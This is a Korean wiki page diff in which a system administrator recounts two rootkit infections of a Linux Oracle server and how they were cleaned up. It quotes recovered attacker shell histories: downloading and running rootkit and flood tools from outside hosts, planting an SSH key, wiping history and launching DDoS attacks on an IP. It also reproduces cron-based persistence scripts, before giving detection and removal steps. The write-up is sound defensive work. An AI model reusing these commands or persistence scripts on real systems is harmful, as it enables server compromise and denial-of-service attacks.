문서의 선택한 두 판 사이의 차이를 보여줍니다.
secu002 [2015/01/23 15:56] minetech 새로 만듦 |
secu002 [2015/02/09 11:02] (현재) minetech |
||
---|---|---|---|
줄 1: | 줄 1: | ||
+ | 2차례에 걸친 리눅스 서버에 해킹에의한 바이러스 감염으로 개고생 수기... | ||
+ | |||
+ | ====== [증상 감지] ====== | ||
+ | |||
+ | 갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다. | ||
+ | 해당 프로세스 id를 이용하여 확인해 보면 다음과 같은 것들을 보인다. | ||
+ | |||
+ | <file> | ||
+ | [root@localhost ~]# lsof -p 32656 | ||
+ | COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME | ||
+ | qmscprzst 32656 root cwd DIR 253,0 4096 33947649 /bin | ||
+ | qmscprzst 32656 root rtd DIR 253,0 4096 2 / | ||
+ | qmscprzst 32656 root txt REG 253,0 617640 9538775 /usr/bin/qmscprzstp | ||
+ | qmscprzst 32656 root 0u CHR 1,3 0t0 2946 /dev/null | ||
+ | qmscprzst 32656 root 1u CHR 1,3 0t0 2946 /dev/null | ||
+ | qmscprzst 32656 root 2u CHR 1,3 0t0 2946 /dev/null | ||
+ | qmscprzst 32656 root 3u IPv4 3249369 0t0 TCP localhost.localdomain:39645->162.212.180.202:ka0wuc (ESTABLISHED) | ||
+ | qmscprzst 32656 root 4u raw 0t0 3250035 00000000:00FF->00000000:0000 st=07 | ||
+ | qmscprzst 32656 root 5u raw 0t0 3250036 00000000:00FF->00000000:0000 st=07 | ||
+ | qmscprzst 32656 root 6u raw 0t0 3250037 00000000:00FF->00000000:0000 st=07 | ||
+ | qmscprzst 32656 root 7u raw 0t0 3250038 00000000:00FF->00000000:0000 st=07 | ||
+ | </file> | ||
+ | |||
+ | * 중간에 보면 우리측 서버가 "162.212.180.202" 에서 접속해 있는것이 확인된다. (뭔가 열~씨미 도와주고 있는듯 ㅠ.ㅠ) | ||
+ | * 저 IP는 프로세스를 kill 하게 되면 다른 프로세스로 살아나면서 다른 IP로 변경하여 접속하게 된다. | ||
+ | * 나의 경우는 오라클이 설치되어 있었기때문에 위에서는 안보이지만 오라클 프로세스도 관련이 있는 것으로 나타난다. | ||
+ | * 저기 보이는 IP는 추적을 해보면 추적이 안되는 경우도 나온다. | ||
+ | |||
+ | 이상한 프로세스의 파일 위치는 /boot 또는 /usr/bin 경로에 위치하게 된다.(특별히 정해지지 않는 듯) | ||
+ | |||
+ | <file> | ||
+ | $ ls -alt /usr/bin/ | ||
+ | -rwxr-xr-x 1 root root 625622 1i?” 30 11:27 nbrumptxge | ||
+ | -rwxr-xr-x 1 root root 617640 1i?” 30 11:27 ywkhxomzss | ||
+ | lrwxrwxrwx 1 root root 13 1i?” 30 10:39 cut -> ../../bin/cut | ||
+ | lrwxrwxrwx 1 root root 13 1i?” 30 10:39 env -> ../../bin/env | ||
+ | lrwxrwxrwx 1 root root 6 1i?” 30 10:39 pstree.x11 -> pstree | ||
+ | -rwxr-xr-x 1 root root 617651 1i?” 29 21:03 ttqncgxhbc | ||
+ | -rwxr-xr-x 1 root root 617640 1i?” 29 20:36 qmscprzstp | ||
+ | </file> | ||
+ | |||
+ | 내부 의심이 가는 사용자의 .bash_history 파일을 열어보면 다음과 같은 내용들이 포함되어있다...ㅠ.ㅠ | ||
+ | <file> | ||
+ | w | ||
+ | ps x | ||
+ | php -v | ||
+ | cat /etc/hosts | ||
+ | ls -a | ||
+ | cat /proc/cpuinfo | ||
+ | w | ||
+ | cat /etc/issue | ||
+ | w | ||
+ | wget kukubau.webs.com/shv5.tar.gz ; tar zxvf shv5.tar.gz ; cd shv5 ; ./setup H6f5kkl0 5022 | ||
+ | ssh localhost | ||
+ | w | ||
+ | </file> | ||
+ | |||
+ | 오라클 사용자측에도 보면 다음과 같다. | ||
+ | |||
+ | 이걸 보면 한마디로 시스템이 걸레가 된것 같은 느낌이다. | ||
+ | |||
+ | <file> | ||
+ | w | ||
+ | uname -a | ||
+ | ps aux | ||
+ | locate m.set | ||
+ | wget x1.epac.to/.x/bil | ||
+ | tar xzvf bil | ||
+ | cd .z | ||
+ | ./run | ||
+ | ./autorun | ||
+ | cd .. | ||
+ | lss -a | ||
+ | ls -a | ||
+ | rm -rf bil | ||
+ | last | ||
+ | passwd | ||
+ | passwd | ||
+ | mkdir .ssh | ||
+ | cd .ssh | ||
+ | echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIB8NTwrTVNx8KZwzNj067GiIfz8Vc2DgqvmEatkwH1hjiM/jdrq2VFEAJI75AIdarHo1jVL7ZcpsmiIJQ3Pi+P0JdAXARK8PJEZyRQJLJusucbJeU9FI4drnPceKKthaSjVl/9bWa6ckmrYaFIfnNZtAH9CAWn6TCGb5lDfKdgC5Q== awsnext" >> authorized_keys | ||
+ | chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys | ||
+ | chmod +x * | ||
+ | cd | ||
+ | rm -rf .bash* | ||
+ | wget x.toh.info/.x/flood/flood.tgz | ||
+ | tar xzvf flood.tgz | ||
+ | cd flod/ | ||
+ | ls | ||
+ | chmod +x * | ||
+ | ./udp 141.30.37.135 | ||
+ | ./ddos 141.30.37.135 22 | ||
+ | ./icm2 141.30.37.135 | ||
+ | ./icm2 141.30.37.135 22 | ||
+ | ls | ||
+ | ./juno6 141.30.37.135 | ||
+ | ./juno6 141.30.37.135 22 | ||
+ | ./85 141.30.37.135 | ||
+ | ./85 141.30.37.135 22 | ||
+ | ./85 141.30.37.135 2222 | ||
+ | ./tcpsyn 141.30.37.135 | ||
+ | ./tcpsyn 141.30.37.135 80 | ||
+ | sqlplus | ||
+ | pwd | ||
+ | ls | ||
+ | cd product/ | ||
+ | cd 11.2.0/ | ||
+ | cd bin | ||
+ | ls | ||
+ | ./sqlplus system/xxx | ||
+ | id | ||
+ | ifconfig | ||
+ | exit | ||
+ | </file> | ||
+ | |||
+ | |||
+ | Bad file list | ||
+ | <file> | ||
+ | [root@ ??]# ls -al | ||
+ | 합계 1616 | ||
+ | drwxr-xr-x 3 oracle dba 4096 2월 6 11:24 . | ||
+ | drwxr-x--- 29 root root 4096 2월 5 16:55 .. | ||
+ | -rwxr-xr-x 1 oracle dba 270 1월 30 13:23 1.user | ||
+ | -rw-r--r-- 1 oracle dba 955701 9월 25 2013 Cimmer.seen | ||
+ | -rw-r--r-- 1 oracle dba 0 1월 30 13:23 Enid.seen | ||
+ | -rwxr-xr-x 1 oracle dba 34 1월 29 21:08 LinkEvents | ||
+ | -rwxr-xr-x 1 oracle dba 323 10월 13 2001 autorun | ||
+ | -rwxr-xr-x 1 oracle dba 492135 3월 3 2005 bash | ||
+ | -rw-r--r-- 1 oracle dba 91385 2월 20 2013 br2.seen | ||
+ | -rwxr-xr-x 1 oracle dba 67 3월 31 2005 cron | ||
+ | -rw-r--r-- 1 oracle dba 47 12월 14 2012 cron.d | ||
+ | -rw-r--r-- 1 oracle dba 11 12월 14 2012 m.dir | ||
+ | -rwxr-xr-x 1 oracle dba 22882 5월 15 2003 m.help | ||
+ | -rwxr-xr-x 1 oracle dba 1043 1월 30 13:23 m.lev | ||
+ | -rw------- 1 oracle dba 5 1월 29 21:08 m.pid | ||
+ | -rw-r--r-- 1 oracle dba 967 1월 30 13:23 m.ses | ||
+ | -rwxr-xr-x 1 oracle dba 1155 11월 24 2012 m.set | ||
+ | drwxr-xr-x 2 oracle dba 4096 2월 6 11:23 r | ||
+ | -rwxr-xr-x 1 oracle dba 44 10월 13 2001 run | ||
+ | -rw-r--r-- 1 oracle dba 45 7월 16 2010 shel | ||
+ | -rwxr--r-- 1 oracle dba 160 12월 14 2012 y2kupdate | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : m.set | ||
+ | |||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | if test -r /oracle/.z/m.pid; then | ||
+ | pid=$(cat /oracle/.z/m.pid) | ||
+ | if $(kill -CHLD $pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd /oracle/.z | ||
+ | ./run &>/dev/null | ||
+ | </file> | ||
+ | |||
+ | File Name : run | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | export PATH=:PATH | ||
+ | bash | ||
+ | history -c | ||
+ | </file> | ||
+ | |||
+ | File Name : autorun | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | pwd > m.dir | ||
+ | dir=$(cat m.dir) | ||
+ | echo "* * * * * $dir/y2kupdate >/dev/null 2>&1" > cron.d | ||
+ | crontab cron.d | ||
+ | crontab -l | grep y2kupdate | ||
+ | echo "#!/bin/sh | ||
+ | if test -r $dir/m.pid; then | ||
+ | pid=\$(cat $dir/m.pid) | ||
+ | if \$(kill -CHLD \$pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd $dir | ||
+ | ./run &>/dev/null" > y2kupdate | ||
+ | chmod u+x y2kupdate | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : y2kupdate | ||
+ | <file> | ||
+ | #!/bin/sh | ||
+ | if test -r /oracle/.z/m.pid; then | ||
+ | pid=$(cat /oracle/.z/m.pid) | ||
+ | if $(kill -CHLD $pid >/dev/null 2>&1) | ||
+ | then | ||
+ | exit 0 | ||
+ | fi | ||
+ | fi | ||
+ | cd /oracle/.z | ||
+ | ./run &>/dev/null | ||
+ | |||
+ | </file> | ||
+ | |||
+ | File Name : cron.d | ||
+ | <file> | ||
+ | * * * * * /oracle/.z/y2kupdate >/dev/null 2>&1 | ||
+ | </file> | ||
+ | |||
+ | 이 히스토리를 참조해서 해당 경로를 가서 확인해 보면 다음과 같은 파일들이 실제 존재한다. | ||
+ | <file> | ||
+ | -bash-3.2$ cd flod | ||
+ | -bash-3.2$ ls -al | ||
+ | ?⑷퀎 760 | ||
+ | drwxr-xr-x 2 oracle dba 4096 12??18 2012 . | ||
+ | drwxr-xr-x 13 oracle dba 4096 2?? 2 13:42 .. | ||
+ | -rwxr-xr-x 1 oracle dba 9315 12??15 2012 85 | ||
+ | -rwxr-xr-x 1 oracle dba 8666 12??15 2012 88udp | ||
+ | -rwxr-xr-x 1 oracle dba 50123 12??15 2012 cip.cip | ||
+ | -rwxr-xr-x 1 oracle dba 9416 12??15 2012 cloud | ||
+ | -rwxr-xr-x 1 oracle dba 9237 12??15 2012 ddos | ||
+ | -rwxr-xr-x 1 oracle dba 15442 12??15 2012 dos_techck3 | ||
+ | -rwxr-xr-x 1 oracle dba 9213 12??15 2012 fuck | ||
+ | -rwxr-xr-x 1 oracle dba 11264 12??15 2012 icm2 | ||
+ | -rwxr-xr-x 1 oracle dba 8703 12??15 2012 juno | ||
+ | -rwxr-xr-x 1 oracle dba 9216 12??15 2012 juno130 | ||
+ | -rwxr-xr-x 1 oracle dba 9216 12??15 2012 juno150 | ||
+ | -rwxr-xr-x 1 oracle dba 8621 12??15 2012 juno6 | ||
+ | -rwxr-xr-x 1 oracle dba 9215 12??15 2012 juno95 | ||
+ | -rwxr-xr-x 1 oracle dba 483340 12??15 2012 list.txt | ||
+ | -rwxr-xr-x 1 oracle dba 8947 12??15 2012 new | ||
+ | -rwxr-xr-x 1 oracle dba 9213 12??15 2012 syn | ||
+ | -rwxr-xr-x 1 oracle dba 8886 12??15 2012 tcpsyn | ||
+ | -rwxr-xr-x 1 oracle dba 8666 12??15 2012 udp | ||
+ | -rwxr-xr-x 1 oracle dba 7830 12??15 2012 udpiLLuSioN2 | ||
+ | -rwxr-xr-x 1 oracle dba 8800 12??15 2012 volverin2 | ||
+ | </file> | ||
+ | |||
+ | 기타 /usr/lib/ 경로아래에 다양한 .so .h 파일들이 만들어져 있는것을 확인할 수 있다. | ||
+ | |||
+ | ====== [개고생(삽질) 일지] ====== | ||
+ | |||
+ | * 우선 99%를 차지하는 프로세스를 kill 했으나 또 다시 다른 형태로 살아남 (갑자기 심각해짐...) | ||
+ | * find 명령으로 해당 프로세스이름을 찾아보니 /boot 경로에 위치해 있음 (이건 처음에는 이랬는데 나중에는 /usr/bin 에 위치해 있는 것으로 봐서는 일정치 않음) | ||
+ | * 해당 프로그램을 삭제했으나 다른 프로그램으로 복제되어 다시 생성됨 (머리 아파지기 시작함) | ||
+ | * 해당 프로그램을 삭제해도 다시 살아나는 것을 보면 cron 에 뭔가 등록되어 있을것 같아서 "vi /etc/crontab" 을 확인해 보니 내가 지정하지 않은 프로세스가 마지막에 돌고 있는것이 확인된다. 그래서 해당 항목을 crontab 에서 삭제했는데 잠시후에 다시 생겨남 (짜증이 올라옴) | ||
+ | * 이리저리 다양한 방법으로 프로세스를 삭제해 봤으나 절대 죽지 않음 더구나 죽일 때 마다 복제되어서 /etc/init.d 와 rc.d 의 각 레벨별로 자동실행 스크립트가 생성됨 | ||
+ | * 더 이상 이런식의 처리는 한계가 있음을 깨달음. | ||
+ | |||
+ | ==== [조치 순서] ==== | ||
+ | |||
+ | - 바이러스 감지를 위한 프로그램 설치 | ||
+ | - 바이러스 종류 확인 및 감지된 파일 대략 확인 | ||
+ | - Rescue 모드로 부팅하여 바이러스 파일 삭제 | ||
+ | |||
+ | 첫 번째로 바이러스 감지툴인 clamAV 를 yum 으로 설치하여 점검해보니 몇가지 파일들이(netstat, ps 등등) 변경되어 있는것 확인됨 | ||
+ | 이건 감지만 할 뿐 조치는 없는 감지하는것도 상당히 효율이 떨지진다. | ||
+ | |||
+ | 두 번째로 rkhunter 를 설치하여 바이러스 다시 확인해 보니 clamAV에서 찾지 못한 다양한 형태의 경고가 등장함 | ||
+ | |||
+ | 세 번째로 chkrootkit 을 설치하여 확인해 봄. | ||
+ | |||
+ | [결론] 나의 경우 rootkit 바이러스가 감염이 되었고, 바이러스를 감지하는 것은 rkhunter 가 가장 뛰어남. | ||
+ | |||
+ | |||
+ | ==== [조치 내역] ==== | ||
+ | |||
+ | * ClamAV 설치 | ||
+ | |||
+ | <file> | ||
+ | 4.1 ClamAV 설치 | ||
+ | [root@egovWas2 ~]# yum install clamav clamd | ||
+ | |||
+ | 4.2 ClamAV 바이러서 데이터베이스 업데이트 | ||
+ | [root@egovWas2 ~]# freshclam | ||
+ | |||
+ | 4.3 검사 | ||
+ | |||
+ | - home 디렉토리와 그 하위 디렉토리를 검사 | ||
+ | [root@egovWas2 ~]# clamscan -r /home | ||
+ | |||
+ | - clamscan 결과를 로그 파일로 남기고 싶으면 | ||
+ | [root@egovWas2 ~]# clamscan -r /home -l clamscan.log | ||
+ | |||
+ | [root@egovWas2 ~]# 감염된 파일을 특정 디렉토리로 이동하려면 | ||
+ | [root@egovWas2 ~]# clamscan -r /home --move=DIRECTORY | ||
+ | </file> | ||
+ | |||
+ | |||
+ | * RootKit Hunter 설치 및 매일 실행하는 cron 등록 | ||
+ | <file> | ||
+ | |||
+ | 5.1 rkhunter 설치 | ||
+ | [root@egovWas2 ~]# yum list | grep rkhunter | ||
+ | |||
+ | [root@egovWas2 ~]# yum install rkhunter | ||
+ | |||
+ | 5.2 Update rkhunter | ||
+ | To check the currently installed version enter the following | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --versioncheck | ||
+ | |||
+ | Run the updater by issuing the following command: | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --update | ||
+ | |||
+ | With our database files refreshed, we need to tell rkhunter to check the current values and store them as known-good values: | ||
+ | [root@egovWas2 ~]# /usr/local/bin/rkhunter --propupd | ||
+ | |||
+ | 5.3 Manual Scan | ||
+ | Step 1] 시작하기 전에 rkhunter 가 사용할 DB를 생성 | ||
+ | |||
+ | [root@egovWas2 ~]# rkhunter --propupd | ||
+ | |||
+ | Step 2] 실행명령어 | ||
+ | [root@egovWas2 ~]# rkhunter --check | ||
+ | 또는 | ||
+ | [root@egovWas2 ~]# rkhunter -c --rwo // warning메세지,비정상적인 결과만 출력 | ||
+ | |||
+ | 5.4 Automate Rootkit Hunter | ||
+ | |||
+ | [root@egovWas2 ~]# touch /etc/cron.daily/rkhunter.sh | ||
+ | [root@egovWas2 ~]# chmod 755 /etc/cron.daily/rkhunter.sh | ||
+ | [root@egovWas2 ~]# vi /etc/cron.daily/rkhunter.sh | ||
+ | |||
+ | #!/bin/sh | ||
+ | ( | ||
+ | /usr/local/bin/rkhunter --versioncheck | ||
+ | /usr/local/bin/rkhunter --update | ||
+ | /usr/local/bin/rkhunter --cronjob --report-warnings-only | ||
+ | ) | /bin/mail -s 'rkhunter Daily Scan Report (PutYourServerNameHere)' your@email.here | ||
+ | |||
+ | </file> | ||
+ | |||
+ | rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. | ||
+ | |||
+ | 이건 lsattr 명령과 chattr 명령을 이용하면 쉽게 해결이 된다. (아래 쉘파일을 참조하면 됨) | ||
+ | |||
+ | 처음엔 아래 쉘파일의 내용처럼 감염된 파일의 속성을 변경해서 삭제하고 yum 으로 파일을 다시 설치하는 것으로 간단하게 끝났는데 몇일후에 다시 감염되었을 때는 해당파일 속성등의 변경이 없이 바이러스 프로세스가 죽지 않았다. | ||
+ | |||
+ | ==== [반드시 이렇게 하세요] ==== | ||
+ | |||
+ | * 리눅스를 cd로 부팅하여 rescue 모드로 진입한다. 이렇게 하면 원래 파일들은 /mnt/sysimages 경로에 마운트 된다. | ||
+ | * /mnt/sysimages 경로에서 감염된 파일들을 모두 삭제하고 설치가 필요한 것들은 다시 설치해 준다. | ||
+ | |||
+ | |||
+ | 해당 파일들을 개별로 속성를 변경해주다가 몇가지 파일을 비교해 찾던중 아래의 쉘파일을 찾게됨... | ||
+ | |||
+ | 다음 쉘을 그냥 돌리던지 개별로 작업하든하면 해결됨. (나는 개별로 실행했음) | ||
+ | |||
+ | 이상 개고생 끝. | ||
+ | |||
+ | 추신: 몇가지 .h 파일등도 변경된 내용이 있고 init.d 및 rc?.d 경로아래에 수없이 많은 사항들이 있느니 찾아서 삭제해줘야 함 | ||
+ | |||
+ | 출처: http://www.evilcoder.net/remove-linux-shv5-rootkit/ | ||
+ | |||
+ | |||
+ | <file> | ||
#!/bin/bash | #!/bin/bash | ||
echo "SHV Rootkit checker by alex [at] evilcoder.net" | echo "SHV Rootkit checker by alex [at] evilcoder.net" | ||
줄 123: | 줄 479: | ||
fi | fi | ||
fi | fi | ||
+ | |||
+ | </file> | ||
+ | |||
+ |